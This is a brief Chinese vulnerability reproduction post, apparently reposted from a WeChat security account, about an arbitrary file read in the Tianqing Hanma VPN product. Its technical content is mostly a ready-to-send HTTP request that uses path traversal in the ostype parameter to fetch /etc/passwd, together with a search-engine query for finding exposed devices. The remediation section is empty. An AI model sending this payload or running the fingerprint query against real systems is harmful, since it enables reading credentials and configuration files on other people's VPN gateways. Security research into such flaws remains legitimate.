0x01漏洞名称
天清汉马/vpn/user/download/client接口ostype参数存在任意文件读取漏洞，攻击者可以通过漏洞读取服务器上的敏感文件，包括配置文件、保存的账号密码等敏感信息从而导致进一步攻击。
0x03影响范围
天清汉马
0x04网络空间测绘查询
body="select_auth_method" OR body="select_auth_input"
##数据包 GET /vpn/user/download/client?ostype=../../../../../../../etc/passwd HTTP/1.1 Host: 11.11.11.11 User-Agent: User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Connection: close Accept-Encoding: gzip, deflate
0x06nuclei批量验证（加入纷传获取）
0x07修复建议
原文始发于微信公众号（网安探索队）：天清汉马vpn任意文件读取【漏洞复现】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论